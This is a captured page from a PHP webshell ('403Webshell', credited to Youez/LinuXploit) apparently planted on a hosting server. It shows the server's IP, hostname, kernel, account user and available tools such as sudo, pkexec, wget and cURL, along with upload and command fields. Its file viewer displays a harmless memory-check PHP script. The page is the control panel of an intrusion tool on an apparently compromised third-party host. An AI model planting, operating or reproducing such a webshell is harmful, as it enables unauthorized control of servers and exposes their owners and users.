403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html//mojo_nagios_memory_check.php
<html>
<head>
  <meta http-equiv="refresh" content="120">
</head>
<body>
<?php

$max_usage = 80;

$free = file_get_contents("/proc/meminfo");
if ($free == false) {
  die("Unable to load meminfo".PHP_EOL);
}
$free = (string)trim($free);
$free_arr = explode("\n", $free);

for($x = 0; $x < count($free_arr); $x++) {
  $mem_tmp = explode(":", $free_arr[$x]);
  $mem[$mem_tmp[0]]=(int)trim($mem_tmp[1]);
}

$free = ($mem['MemFree'] + $mem['Buffers'] + $mem['Cached']);
$total = $mem['MemTotal'];
$used = ($total - $free);

$memory_usage = number_format((($used / $total) * 100),2);

if ($memory_usage > $max_usage) {
  echo "RAM Usage is high: $memory_usage%".PHP_EOL;
} else {
  echo "OK: $memory_usage%".PHP_EOL;
}
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit